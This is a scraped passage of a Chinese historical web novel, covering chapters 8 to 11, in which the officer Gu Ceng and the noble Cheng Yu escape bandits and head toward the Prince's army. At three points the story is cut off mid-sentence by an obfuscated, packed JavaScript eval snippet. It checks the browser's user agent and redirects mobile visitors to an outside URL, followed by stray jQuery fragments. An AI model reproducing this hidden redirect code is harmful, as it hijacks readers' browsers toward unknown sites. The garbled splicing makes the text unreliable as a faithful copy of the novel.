她有种不祥的预感,程彧是知道她的身份的,只是她拿不准他说这些话的意思究竟是不是在威胁自己。 但总之,他肯定是知道的。 那一瞬,顾曾甚至有了个荒唐的念头——她该不该在这里把他也灭口? 不过这念头转瞬即逝,顾将军在心里狠狠给了自己一个耳光,用这种方法来保全自己,简直为人所不齿。杀了一个程彧,还会有千百个程彧来试探,难道她还能把所有人都杀掉么? 最坏的情况也不过就是让皇帝知道当年她是假死,欺君之罪,大不了掉个脑袋下去陪爹娘,没什么可怕的。 顾曾原以为自己内心这点阴暗的挣扎被隐藏得很好,可程彧内心的敏感却出乎她的意料。他像只小鹿般怯生生地向后退了半步,低声道:“阿曾,你刚刚的眼神……好 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程彧在石墙上左敲敲右抠抠,总算摸到了个隐蔽的铁环,用力全力,那环扣猛地崩开,带出一段腥臭的铰链。几乎是电光火石间,他已跃到顾曾身前,挡住了几柄砍来的大刀,昏暗的石室外霎时火星四溅。 “阿曾,你先进去。”他反身踢开卡在门口的横刀,左手连揽带推把顾曾又弄回了石室中。 “……”顾曾铁青着脸道,“我是叫你同我一起杀出去,没让你在这做窝。” 程彧笑而不语,横刀碎星般划过,抢得了半个身位,刀柄迅速在石壁某处一撞,一扇满是锈迹的铁门自上方如雨幕般坠落。 几十号山匪刚赶到就被隔在了门外,对着那厚重的铁门又捶又砸,缭乱的叫骂声犹如鸦鸣。 “这就是你想的好主意?”顾曾捏着眉心,说道,“把自己锁在牢里就万事大吉了么?” 程彧得意洋洋:“放心,我套过话了,钥匙只有他们以前的老大知道在哪,现在的老大还没摸清楚门路呢。” “妙啊,”顾曾冷笑两声,真诚道,“所以敢问二公子,我们一会儿怎么出去?” 程彧在火盆旁选了个没溅血的地方,枕着胳膊躺下,笑道:“船到桥头自然直嘛,阿曾,你也累了吧,先睡一会,这里是当地最大的贼窝,贺向笛恐怕一时半会攻不下来呢。” 透过铁门犹能听到门外的山匪止不住的喝骂声,还有人试图撞门而入。 门外人想进来,门内人出不去。 顾曾这一身蠢蠢欲动的好战心被程彧强行掐灭,心中惊惧未定,倚在一旁石壁喘了许久才缓过气来。 倦意渐渐袭来,而程二公子就跟算准了一样,合着眼拍拍身旁铺着鹤氅的空地,说:“快来吧阿曾,给你留的上风口,床也铺好了,保证暖和。” 顾曾有种想把他脑袋踩住跺两脚的冲动,但是如今身家性命还得靠人家的面子来救,只好默默咽下这口气。 柔软光滑的大氅将她裹住,衣上传来淡淡的艾草香,门外的人依旧在热火朝天地叫嚷砸门,眼前是凹凸不平的石室顶,火光肆无忌惮地于上起舞,勾勒出一副古老又模糊的岩画,而不远处,还有个躺得四仰八叉的尸体。 火把噼里啪啦跳出最后几颗火星子,灭了。一丝幽柔的月光透过缝隙洒落。 如果这不是一场梦,那就一定是她疯了。 8. 炸药 “阿曾……”晌久,程彧缓缓开口。 顾曾吓了一跳,还以为他早就和周公梦里相见去了,身子不由自主挪远了些,淡淡道:“何事?聊天的话恕不奉陪。” 程彧嘿嘿一笑:“没事,看看你睡着没有。” 顾曾斜斜剜他一眼:“无聊。” 程彧更起劲了,探过身来,眨巴着一双水灵灵的眼睛,笑道:“你说你之前听说过我,是如何听说的?” “聊天恕不奉陪。” 程彧:“阿曾——” “不奉陪。” “我的好阿曾——” “……” “你最……” “闭嘴,吵死了。”顾曾此刻饥肠辘辘,头重脚轻,浑身就如散了架一般,便把力气都用在嗓门上。 程彧不说话了,只在一旁眼巴巴盯着她。顾曾深吸了两口气,终于投降了,说道:“讲话本的说书先生说的。” 程彧喜出望外,追问道:“说我什么?小爷我这么出名么?” “真想知道?”见他一脸以为自己成了盖世英雄的模样,顾曾挑了挑眉,模仿着说书人慢悠悠道,“诸位客官,今日就给您献上一本《玉面魔君孽海情天录》。” “?”程二公子的脸仿佛被人连捏带揉拧成了一团内带褶皱的包子。 顾曾:“且看那风流子恃美纵欢场,惹得那痴娇娥含恨赴幽冥,绣阁内千金泪尽湿了罗帕,那薄情郎君却笑掷了定情簪。” 程彧双颊彤红,喊道:“等、等等,什么玩意?” 顾曾巴不得看他笑话似的:“看他檀口轻启,尽负了三生约,叹那玉骨冰肌,却空付一江秋。” “……”程彧被噎得半晌没憋出个字来,抬眼看着她,弱弱吭声,“这都在瞎扯什么淡,小爷我几时负过别人?不被别人负就算好的了。” 顾曾:“还有一次讲了本《朱衣艳骨祸国记》,夸你是个狐狸精转世的魑魅,垂青纵恶却依旧龙颜袒护,陛下对你比对太子殿下还好。” “胡扯!”程彧英眉倒竖,勃然作色,“泼这种脏水给小爷,简直居心叵测!阿曾,你们在军中天天听这玩意,能有心思好好打仗么?” 顾曾漠然道:“连书都不许听,一天到晚只能打仗,二公子当暴君定是能遗臭万年。” 渭城一年有一多半的时间在刮狂风,沙石飞走,黄尘肆虐,可他们就算把头包得只露一双眼也得日日巡防、事事留心。入夏就会好些,往来西域的行脚商会短暂地活跃一段时间,这时候,蛰伏了一整个黄沙季的说书先生会来到渭城,打着羽扇溜达着出门,在街边随意找个茶摊,一说就是一下午。 即便是边塞,仗也不是天天打,人生苦短,及时行乐,且有乐必须乐。顾曾只活了十八年,在这些事上却远比有些活了四、五十年的要更明白。 程彧嘟囔道:“这先生的水平可不怎么样,怎么不写我点好的?” 顾曾:“不如二公子说说自己哪儿好,教我也长长见识。” 程彧不假思索,笑道:“我会英雄救美啊。” 顾曾嗤了一声:“哪位美人这般福气能被二公子救?” 程彧抿嘴,单纯无辜地望着她,叹道:“你真不知还是假不知,可不就是你么。” 世上没有平白无故的恩惠,尤其是这帮吃着百姓粮不干正经人事的公子哥们,时常比商人还懂得筹码与交易。 顾曾直觉他意有所指,目光如刀,冷冷道:“倒要请教二公子,你若亮明身份,一路自有西南府军为你开道,贺将军想必也会夹道欢迎为你开路,为何又偏偏要跟着我和阿姐走?你在万春镇把东珠送出,是巧合还是你算准了贺将军看到那珠子便会前来营救?从前怎么没听说二公子有这般玲珑心思?” 程彧这时机掐得刚刚好,万春山这一带山高水险、峡谷幽深,山匪摆明了要在这里动手,而安宁军和这帮匪徒的关系不清不楚,若只有运粮队遇险,想必不会施以援手。到最后还是得靠着程二公子那大如天的面子,他们才能全身而退。 让顾曾百思不得其解的是,程彧千方百计地卖给他们这么大一个人情,所求究竟是为何? 不过她又转念一想,匪都剿了,她和林霜也都活得好好的,事情既然已经到了这一步,程彧已然仁至义尽,余下的就该她鸟尽弓藏翻脸不认人了。 顾将军当下厚颜无耻道:“二公子难道不知道么,在行善事之前要先把条件讲好,签字画押,最好还要留下点对方的把柄在手里,防止对方抵赖。” 程彧忍俊不禁道:“阿曾,你不会真就是这么打算的罢?堂堂铸光骁骑营的副将,居然打算公然耍无赖么?” “没错,正有此意。”顾将军大言不惭道。 “好嘛,那这样罢,你答应我一件事,小爷这次涉险救你的事就一笔勾销。”程二公子着重强调了“涉险”二字,仿佛先前和山匪称兄道弟打得火热的另有其人。 顾曾在这世上无亲无故,从不欠别人债,更不喜欢欠情,只要所求不是什么大事便一切好说,当下点头道:“二公子请讲。” 程彧瞟了眼不远处的尸体,道:“喏,就是这个咯,杀他这事替我保密。” “没了?”顾曾有些意外。 “没了呀。你还想怎么样?”程彧笑道,“其实我苦心孤诣策划了这么久,就是为了寻个机会把他捅死。没想到啊没想到,竟然全都被你看到了,你可千万要替我保密。” 他若真就是为了除掉白望农,路上有大把大把的机会。抛去别的不谈,谁会想到话本里只懂风花雪月的程二有那个胆量和手段给人一刀封喉? “程容与,”顾曾面沉似水,咬了咬牙,“你当我是小孩儿么?” 程彧没心没肺含混道:“不清不楚就是福,什么都不知道对你对我都好,何必执着问个明白?有些事情我自己都不知道为什么要去做,你问我为何,我又怎么答得上来。” 他音量稍轻,眼中犹如一道碎星闪过,神情变得羞涩又稚拙,“总之你信我,我永远都不会伤害你,若伤你一毫,我就……减八百年阳寿怎么样?” 顾曾不为所动,淡淡道:“就为了下官这个微不足道的小喽啰,犯不着把十几辈子都赔进去。” 程彧哭笑不得:“顾将军,你是完全油盐不进,软硬都不吃的吗?” 话不投机,追问无果,顾曾没好气地瞪他一眼,旋身不理他了。没过多久,铁门处叮叮当当响了大半个时辰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186690|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞门声戛然而止。 二人虽然迷迷糊糊的,但都颇有戒备心,当下不约而同起身,还没到门口,便听门外传来一声暴喝:“我妹妹在哪?” “咣”的一声巨响,有个倒霉的山匪小弟被赶来的林霜一脚踢在了铁门上,惨叫声隔着门都能糊人一脸。 “阿弥陀佛。”顾曾鬼使神差念叨一句,捶门喊道,“阿姐,我在里面。” 林霜大喜,揪住那山匪的衣领逼问钥匙的下落,可惜那山匪骨头都快被她捏碎了也没说出个所以然来。 林霜打仗时足智多谋,但真到智取不管用时,她又秉承着“蛮力可破万物”的理念,命人卸了山门口那根山匪用来歃血为盟的祭坛柱子,叫了二十多个人一起上,企图把门撞开。 怎料这扇铁门是实打实的固若金汤,小半个时辰过去了,竟然连个裂纹都没出现。 程彧讪讪笑了两声:“那位十三爷还真没吹牛,没钥匙不会真打不开这门罢?那可真是麻烦了。” 顾曾翻给他一个顶顶嫌弃的白眼,心道:“原来您还知道‘担心’二字怎么写。” 林霜无法,只得命人停手,对门内喊道:“阿曾,你让开些,注意掩蔽。” 顾曾不愧是她姐带出来的副手,即刻就明白了林霜的意思,捡起地上的铠甲,扯着程彧后心把他揪到石室最里面。程彧问道:“林大姐这是要做什么?” 只听林霜在几丈外声如洪钟:“来人,堆炸药。” “……”他苦笑一声,“阿曾,我现在知错还来得及么?” 顾曾没理他,上前一步把他脑袋箍在了自己臂弯里,架起铠甲,扬声道:“阿姐,点火罢。” 程彧震惊之余,连挣扎都忘了,一阵石破天惊后,石室外壁轰然倒塌,顾曾甩了甩头上的灰尘,脸上还有几丝被碎屑划破的血痕。 她抬手替犹在发怔的程彧拨掉几块头发上的碎石,没好气道:“看什么看?现在还不出去是真打算在这安家?” 放眼望去,石壁外的方寸空地中横七竖八不知躺了多少个被炸得四分五裂的山匪尸体。 林霜火急火燎地跑过来,一个没留神,差点被地上的白大人绊倒——白望农被一块巨石砸中,只留半截身子在外面,惊得林霜倒吸一口凉气,话都说不出来了。 顾曾上前搭住她的肩,道:“阿姐放心,人不是你炸死的,是个没心肝的山匪杀的。” 她说这话时望了眼程彧,想看看这人会不会趁机落井下石,怎料程彧呆若木鸡站在一边,好似被适才的爆炸吓丢了魂。 “阿弥陀佛,可怜了白大人。”林霜缓缓呼出一口气,对程彧一拜,“多谢二公子舍身护舍妹周全。” 顾曾无声冷笑了一声,心道:“说反了啊阿姐,你妹妹我看上去是需要别人保护的么?” 程彧痴愣愣地经林霜一喊才缓过神来,面上一红,轻咳道:“林将军不必多礼,不知贺将军此刻又身在此处?” 林霜手指一勾向身后一指:“收拾这帮不知好歹的兔崽子呢。” 顾曾冲程彧挑了挑眉,揶揄道:“贺将军欺负你好兄弟呢,二公子不去管管么?” 程彧脸更红了,笑道:“他们狗咬狗,干我什么事?” 9. 阆州 适才林霜一路开道气势汹汹杀过来时,贺向笛正在山门暴揍跪地求饶的陈十三。 十三凄凄切切地对着冷脸的贺将军哭诉:“小人冤枉,小人一直对那位殿下礼遇有加,好吃好喝供着,绝对不敢冒犯。” 怎料话音刚落,倏地一声巨响,匪寨深处升起一团隆隆的浓烟,大地似乎都震了一下。 贺向笛怒目圆瞪:“狗贼好大的胆子,这种时候居然还负隅顽抗!” 十三直截流下来两行热泪:“将军,真不是我做的啊。安宁军交代的事情小人一直有在尽心完成,侯爷要杀的人虽然没杀成,但我也抓来了,就和那位殿下关在……” “胡说八道,竟然敢攀咬侯爷。”贺向笛大喝一声,大手伸来像拎小鸡一样揪住十三的衣领,随手丢给近侍,咬牙道,“斩了,别让他再乱说话。” 他领着手下三步并两步地来到浓烟所在,心里一潭死水,已经做好了要给程彧哭丧的准备,一口气酝酿已久,就差见到死者了。 此时,死者本人却突然从烟里冒出来了,身旁还跟着两个修竹般英气的姑娘。 贺向笛在京城是见过程彧的,今见他虽蓬头垢面,狼狈不堪,但犹可称得上安然无恙,神采奕奕,一口气终于可以长长呼出来。 顾曾没料到他来得这样快,心赞“不愧是安宁军大将”,正要拜谢,余光一闪,身旁的程彧却先她一步伏倒在地,再定睛一看——这小子居然是昏过去了! 她不由得心道:“将才还活蹦乱跳的,怎么说晕便晕,难道真是惊吓过度?” 相比冷漠无情的顾将军,贺将军显而易见在意得多。他大惊失色,一个飞扑滑跪在地,险些嚎啕大哭出来:“二公子,属下救驾来迟,甘愿领罚!” 程彧躺在他的臂弯中幽幽睁开双眼,面若金纸,朱唇似血,扑闪的睫毛在眼中镀上一层妖冶的暗影。 他鼻头一皱,哽咽着炸出一连串炮仗般的疯言疯语:“贺向笛,你怎么才来?小爷我快死在这了!西南这鬼地方老鼠一窝窝,抢劫抢到小爷头上来,你们是不是都巴不得小爷赶紧死……” “是是是,啊不是不是……”高大威猛的贺将军似乎早有所料,默默忍受着程彧的浑话,身形不动如山,堪称西南第一硬汉。 顾曾好整以暇抬了抬眉梢,心中两股势力旗鼓相当地在打架:一半觉得这怎么和她认识的程彧不像一个人,莫不是被什么脏东西附身了?另一半咂咂嘴,这不就是话本里的程二公子么,如假包换的玉面魔君是也。 贺向笛的一个近侍上前,跪在三步远的地方,说道:“将军,首领已伏法,其余宵小如何处置?” 贺向笛略显犹豫之色,他此次围剿万春山十六洞已是破了安宁军和山匪的契约,若是赶尽杀绝,之后定会迎来一轮山匪歇斯底里的报复,因此对于余下的人,他实则隐有招安之意。 坏就坏在这侍卫不懂看场合说话,现在把这事抖落出来,贺将军很难办。 贺向笛回身瞪了一眼:“此事待会……” “待会?为什么要待会?”程彧笑了两声,阴恻恻的,贺向笛不由得起了一身冷汗,“他们欺我辱我,难不成你还打算放他们一马?贺将军,以后陛下若是问我在西南有何见闻,你要我该如何回答?” “二公子误会了!”贺向笛心一横,笑道,“诸位第一次来西南,本不该见这么多血,但二公子所言有理,这群匪徒扰我西南安宁已久,决不能轻饶!传令下去,整座山不留活口。” 破晓前最后一段黑夜,热闹了大半天的万春山终于死寂,要把地心砸穿的钟声也逐渐平息,群鸟纷纷归巢…… 倏地,某处的星火炸了锅,由一转二,二转四……顷刻之间燃成了一片火海,犹如一条蜿蜒的巨龙。 十六洞被剿了。 这消息压根不需要费心传出去,光看那烧得冲天的火光就够有震慑力。 贺向笛把程彧连哄带绑地架走,而顾曾到最后也没来得及跟他道声谢。 林霜召集了骁骑营的兵,把流窜在各地的运粮车稍加整合,粗略一算,竟然也还能有预计的八成之多。沿路百姓受这些山匪骚扰已久,苦不堪言,如今匪患已除,见到一串的运粮车过去,竟自发地往上堆自家的存粮。不知不觉,又把缺的那两成给补回来了。 阆州就在眼前了,虽同为边陲重镇,这里可比渭城繁华得多,风调雨顺、物产丰富,百姓安居乐业而鲜问国事。 一行人马浩浩汤汤驶进阆州时,正是满城开遍紫藤花的时节。 顾曾没有预料的那般如释重负,只感慨,这一路走得如此惊心动魄,可倘若朝廷对民生多几分在意,又何须他们冒险走这一遭? 余下的事便顺利得很了,也不知粮仓主管是不是被人提前交代过什么,见到骁骑营时点头哈腰的,态度好得仿佛是在做梦。待粮食清点称重完毕,按律法,骁骑营需即刻返回渭城,不得在阆州逗留。 不过律法是针对大部队的,不是针对顾曾这个游手好闲的副将的。她依旧坚持己见要上云雾山一探究竟,气得林霜吹鼻子瞪眼,满院子找笤帚要揍她。 “你一天不找事就心里不痛快么?”没找到笤帚,林霜更气了,手扶着桌案一下接一下地拍,快把那实木桌子给拍塌了,“人家宸王殿下是大昭第一良将,需要你操那个心吗?” 顾曾执拗道:“得良将易,得良饷难。殿下在西北大权在握,自是没什么后顾之忧,可这里是西南,难免有人因妒忌而从中作梗。” 她意指安宁军的郭侯嫉妒宸王的不世军功,想要将他围困在云雾山中。 不消她指明,林霜自己也早就有了这个猜测。 早在一年前,昭楚两国大战爆发时,皇帝就钦点宸王为帅,郭侯为将,宸王的扶苍军为前锋,郭侯的安宁军做后备。扶苍军是大昭最利的刀,安宁军是大昭最厚的盾,两军夹击之下,楚人不可能坚持超过三个月。 然而一年过去了,大战依旧,朝野上下弹劾宸王的折子漫天飞,说他以战养功无视江山社稷,说他名不副实有违圣心所托,更有甚者,说他拥兵自重意图谋反。 可是,只要有人来到阆州,看到此处不问国事的百姓和游手好闲的安宁军,难免心里要生出个疑窦:安宁军真得做好那最厚的盾了吗? 林霜同顾曾一样,心中是担心的,可是要她派小妹去战争前线,依旧于心不安,只好骗别人也骗自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186691|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说道:“安宁侯的长子自幼跟在殿下身边,两个人比自家兄弟还亲,这次和楚人交战,郭小侯爷也跟着殿下来了,安宁侯再怎么丧心病狂,总不会连自己儿子都害罢?” 顾曾当即反驳:“阿姐,郭侯对他那个大儿子什么态度你又不是没听说过,我看郭侯巴不得这个儿子赶紧战死,好把侯位传给他家老二。” 见林霜无动于衷,顾曾只好祭出她的绝活——拿她爹说事。 她偷偷掐了自己一把,眼中闪出难得的波光,低声道:“当年爹爹执掌边境军权,七大子军各司其职,默契无比,北察南楚西三十六,哪个是我们的对手?如今七去其三,爹爹也不在了,我们内部勾心斗角,连最弱的楚人都敢欺上门来。阿姐,午夜梦回,爹爹若是问我为何放任不管,我该怎么面对他?是说我贪生怕死,还是该说我无能为力?” “……”这招果然管用,她盈盈秋水望来,林霜被她几句话就说昏了头,全然忘记,她这个心里蔫坏的妹妹,从来都是不认亲也不认爹,只在必要的时候才会把她爹抬出来压一压人的口实。 林将军抓耳挠腮地揪心了一会,实在拗不过她,遂大马金刀往桌子上一坐,道:“你去你去,爱去哪去哪,我才懒得管你死活。” 出人意料,这次顾曾没直接蹦起来说“阿姐真好”,反倒拘谨一拜,正色道:“还请阿姐让小姑向陛下请战。” 顾曾口中的小姑名傅岚,是她爹爹的亲小妹,正经的武将世家出身,拜她爹所赐,不到而立之年就成了铸光军的统武大将军,替她爹收拾烂摊子,心力交瘁十年有余。 顾曾也说不清楚,当年那个娇怯温良的小姑是如何一步步成为如今这样顶天立地的大长辈的,只觉时光飞逝,她和小姑都因为那场大战蹭的一下长大了。 林霜板着脸道:“以何理由请战?” 顾曾轻笑了一声,冷冷道:“就说,我军骁骑营南下阆州,见战争多屠戮,心有不忍,今扶苍与安宁两军既罔负圣恩,久不下楚人主力,铸光愿请战,还西南太平盛世。诚心诚意之举,陛下岂会不准?” 四大军有三个都往西南扎堆,皇帝想必是疯了才会同意,不过以现下皇帝种种令人咋舌的旨意来看,他可能是真得疯了。 “西南这仗打了太久,”顾曾喝了口暖茶,声音找回一丝温度,“陛下心里也是希望能早点结束的罢。” 次日一早,伴着阆州的细雨和风,林霜一行人策马扬鞭出了城,身后留下一串凌乱的马蹄印记,独留顾曾一人于闹市中徘徊。 她是有事瞒着林霜的。 林霜只道解决了万春山的山匪就万事大吉,只有亲历者顾曾自己心里清楚,他们其实是要她死,灭骁骑营的口不过只是顺便罢了。 她能从死前的白望农眼中看出贪婪与试探,也能从贺向笛眼中读出隐隐的杀意,只是前者已无开口说话的机会,后者投鼠忌器,不敢轻举妄动。 若真叫安宁侯把叛国谋反的帽子扣实在了宸王身上,下一个倒霉的就是她,和铸光军。就当是为了自己,为了阿姐,为了小姑,她也决不能坐以待毙。 只是这些事情,不能和她那操心操到海里去的阿姐讲,她得一人担着。 10. 云雾 阆州太繁华了,早市时分的街上摩肩接踵,车水马龙,一条蜿蜒的护城河静静流淌穿行其间,浮起数条钓鱼的行舟。 顾曾第一次造访这般繁华似锦的州府,奈何时间紧迫,她有心闲逛也逛不成,当下只特意避开了巡查的西南府军,往城西的云雾山方向赶去。 出了城才发现,这安宁侯可真不是个东西,他竟然直截把进山的官道给封了!还美其名曰为了保护百姓。 顾曾被破格提拔做副将之前是在军中做堪舆师的,千山万水,她基本上看过一眼就知道该怎么翻过去。 官道口被封,她也没怎么在意,大不了从旁边的山绕道,只是不免叹息,看来安宁侯是铁了心要在混账这条路上走到黑——西南,注定要乱了。 分神之际,一个骑着高头大马的人影出现在她身后,还未及开口,顾曾已然察觉。 耳畔倏然响起一声熟悉的轻笑:“阿曾,这么巧啊。” 从贺向笛那天把他接走的架势来看,程二公子出行,必定一众仆从相随,而顾曾此刻,最不想见到的就是人。 见她身形骤然一凛,掌心已搭上佩刀,程彧往后缩了半步,道:“你别紧张,就我一人。贺向笛这两日被调走了,不在阆州。” 顾曾这才微松了口气,旋过身来,仰起头难得对他明媚一笑:“二公子,别来无恙。” 程彧耳根一红,俯身贴在她耳畔,软乎乎道:“有恙。” 几日不见,他明明浑身上下容光焕发,水灵白嫩得像刚在奶缸里泡过,身上还穿了身能把人眼睛晃瞎的垂烟罗,总之顾曾是没看出来他哪里有恙。 程彧戚戚叹了口气:“小爷我被他们关起来好生审了一遍,烦都快烦死了,若不是我使出看家功夫,还不定能出来呢。” 顾曾饶有兴致地挑了挑眉:“看家功夫?” “一、胡搅蛮缠,二、装疯卖傻,三、仗势欺人。”程二公子颇为得意地一脸坏笑,指了指自己身后,“阿曾,上马,郭霄给了我通行令牌,我带你过去。唔,你知道郭霄么?” “当然,”顾曾颔首,露出一丝讥讽,“安宁侯宠爱的二儿子,另一个鼎鼎大名的二公子,世家纨绔榜排行第二。” 也难怪能和程彧这家伙玩到一块去,真是物以类聚。 程彧觉察不出她的揶揄,只扬声一笑:“此人饱食终日,无所用心,不学无术之至,他在那个什么纨绔榜上排第二,我绝对没意见。” 顾曾嗤了一声:“话说这么满,你怎么不问问谁是第一?” “那肯定是楚尚书的孙子……”程彧言之凿凿,骤然一顿,“等等,不会是我罢?小爷我哪里纨绔了??” 他见顾曾只笑而不语,并无上马之意,便索性跳下马来,牵着缰绳与她并肩,悄声问道:“阿曾,你要上云雾山是不是?” “……”顾曾沉默一瞬,说道,“不清不楚便是福。” 以彼之道,还施彼身。 程彧果然莞尔:“好哇,你也太记仇了罢!”他咳了两声,压低了声音,“我们做个交易怎么样?我带你过这道关口,你带我上云雾山。” 一个游手好闲的世家少爷突然说要跟着她上前线,那绝对会成为一个十分棘手的拖油瓶,顾曾想都没想:“不做,告辞。” “顾将军,”程彧扬手拦住她,一贯多情的脸上此刻面沉似水,沉得与他周遭气质全然不符,正色道,“我这次来西南并非兴致所使,实有要事在身,事关宸王殿下,愿你助我。” 原以为他这话说得够使人信服,怎料顾曾只上下打量了他几眼:“你骗骗山匪还行,少来纠缠我。” 她竟然头也不回地走了! “……”望着她的背影,程彧站在原地哭笑不得,“世上怎会有这般软硬不吃的人?” 不远处响起一阵哄堂大笑,他瞥眼一看,发现竟是那几个站岗的兵士正在看他笑话。 这些人未知全貌,招呼他道:“公子,惹你家阿妹不开心了罢,还不快去追?” 程彧正在气头上,把郭霄那巴掌大的铁令牌掷到他们面前,没好气地开始仗势欺人:“小爷我要上山。” —— 初夏时节,云雾山上已然进入了雨季,一下就是沥沥拉拉好几天。 是夜,雨停了,月色透过白皑皑的雾气照进山涧,死气沉沉,不动声色地掩盖了整座山散出的血腥味。 山涧入口,一个单薄的背影正坐在崖头观天象。她着素衣,满头秀发被一根艳丽的红绳高高挽起——正是孤身一人闯山的顾曾。 她绕过官道的守卫后,一番寻觅,选择从北侧的悬崖攀上云雾山。 本以为能看到宸王军营上飘扬的帅旗,到了才发现此处只有一片密得教人分不清东南西北的常青林,人影么,却是半个都没有。 “奇怪,怎么一直找不到踪迹?”她嘀咕了两声,正准备往深处继续走时,不远处忽然有窸窸窣窣的人声传来。 顾曾忙藏身在一棵参天巨松后,远远的只听一人说道:“贺将军吩咐过,此处山高林密,危险重重,您千万不可再往前了。” 一匹骏马短促地嘶鸣,不住地踏来踏去,似乎同它主人一样急躁。只听另一人道:“你没听懂么,小爷我是奉圣命来此的,还不让路是想抗旨么?” “竟是程容与这小子。”顾曾暗暗纳罕,“他还当真跑这深山老林里来受苦了,难不成先前他说“事关宸王”并非开玩笑,而是我错怪他了?” 先开口那人道:“二公子若执意前行,恐葬身猛兽之口,陛下怕是会怪罪,属下只好得罪了。” 他话音未落,便有二十多个人从身后跃出,各个着棉布暗甲,肩披对襟,一身安宁军精锐的打扮,齐齐应声道:“得罪了!” 程彧人在马上,根本不给他们动手的机会,一声冷笑后便猛夹马腹,骏马腾地而起,电光火石地就朝顾曾这方向冲来。 顾曾心紧了一瞬,心道:“笨蛋,逃跑也不看清路,那边再往前可是悬崖!” 骏马几乎是贴着她的身子擦过去的,程彧鬼神神差一瞥眼,正对上顾曾缩成一线的瞳孔,本能地拉紧了手中缰绳,硬生生停在了她身前几步远。 在独自逃跑的快意和故人相逢的缱绻之间,程二公子果断选择了后者。 “阿曾,我没在做梦罢?”他怔怔笑了下,眼中又惊又喜,“没有郭霄的令牌,你是从哪过来的?” 顾曾松了口气,惊惧之余指了指二十余丈外的悬崖:“那边飘过来的。” 程彧终于看见那天堑,一阵头晕目眩,不由得倒吸一口凉气:“好险……” 身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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古书有记载,昭帝并西南靖楚之地,其山中有六夷七羌九氐,与大昭多有过节。 先帝在位时,羌人已然归顺,甚至还成了正规的七军之一,后来狼烟四起,九州倾覆,羌人亦背信弃义,与大昭划清界限,彻底消失在了西南密林中,想不到今日能在此遇到。 他们非但不躲不藏,还会主动攻击安宁军,看来两族之间这几百年的过节,也就在她爹还活着的那段期间,短暂地放下了那么一瞬而已。 她慨叹片刻,拔步向前行,见程彧仍立在原地,回身道:“还不走么?你不是要见宸王殿下?” 程彧登时大喜,眼中燃起一抹亮:“阿曾我……可以跟着你么?” 顾曾咬了咬嘴唇,因自己接下来要说的话而头皮发麻,连身上也起了层细细的薄汗。 她抱拳拜道:“二公子,先前多有得罪。我因心中成见只道你在消遣我,实在是小人之心,盼你谅解。” 程彧呆愣良久,释然一笑,上前来把她扶正:“这种小事,哪里还用得着赔罪?你若是与我同行,免不得要被那群人盘查,我知你是不想惹麻烦,并不是真的讨厌我。” “……”顾曾无语,只心道,“在揣摩旁人心思方面,这人真是一枝独秀的没脸没皮。” 11. 宸王 二人一路向西,白天赶路,夜晚幕天席地。密林遮住了大半日光,连辨认方向都十分困难,顾曾大半时间都一脸正经地忙着找路,程彧也难得乖巧,没怎么碎碎叨叨地烦她。 就这般过了两日,终于钻出了密林,恰逢暮色明晃晃地落在脸上,照得人眼生疼。 初夏时节,此处竟还有簌簌碎雪。苍松落在一片雪白之上,本该若翡翠般耀眼,只可惜,大战当前,已是焦土遍地、满目疮痍。 脚下的路愈发崎岖,时不时还会踩到些硌脚的玩意,程彧抱怨了几句,还没来得及低头,就被顾曾一把揪住了头发。 “别看,”她叮嘱道,“信我,一点都不好看。” 程彧倏然便明白自己踩到的是什么东西了,“嘶”的起了层冷汗:“罪过罪过,安息……” 不远处的山头于此时传来嘹亮的角声,回荡于群山间延绵不绝。与山匪的战鼓和安宁军的号角截然不同,这角音极清澈、极绵长,令人闻之便霎时如临雪原之巅。 顾曾眼神登时一亮:“是扶苍军的收军号!” 而恰在此刻,阒寂的四周齐刷刷传来一连串的裂帛音,如风拂松涛,携着一股凌冽的杀意。 程彧还没来得及开口,一只纤细的胳膊倏然落在了他肩头,冰凉的手探在他颈侧,微微一带,他踉踉跄跄栽倒在顾曾的肩上,一股清新的淡香袭来。 “不公平……”程二公子这般想道,“你护着我就可以,我护着你怎么就不行?” 顾曾比程彧还先意识到了埋伏,副将做习惯了,情不自禁就喜欢逞能保护别人,想都没想就回身把他搂进了臂弯中,扬声道:“铸光军骁骑营副将,求见宸王殿下。” 潜藏在暗处的埋伏低低笑了两声:“渭城距此地几千里之遥,你敢说我都不敢信,来人……” 四周的弓弦拉得更紧了。 “阿曾……”程彧被她一只手护着头,所嗅皆是她,已然羞得满脸通红,“他们要动手了,你……你快松开我。” 顾曾不为所动,也不畏惧,于来人对峙半响,倏地轻笑一声,把程彧推到身侧,染笑道:“花先生,别装神弄鬼了,我找殿下,有要紧事。” 暗处那人啧啧两声,打算装孙子装到底:“什么‘花先生’,没听说过,想来在我扶苍军也不是什么了不起的人物。” “……”顾曾捏了捏眉心,无奈喝道,“花雨闲!千里迢迢来见你们,你就这么对我?你了不得,最了不得,没了你整个扶苍军都得完蛋,可还满意?” 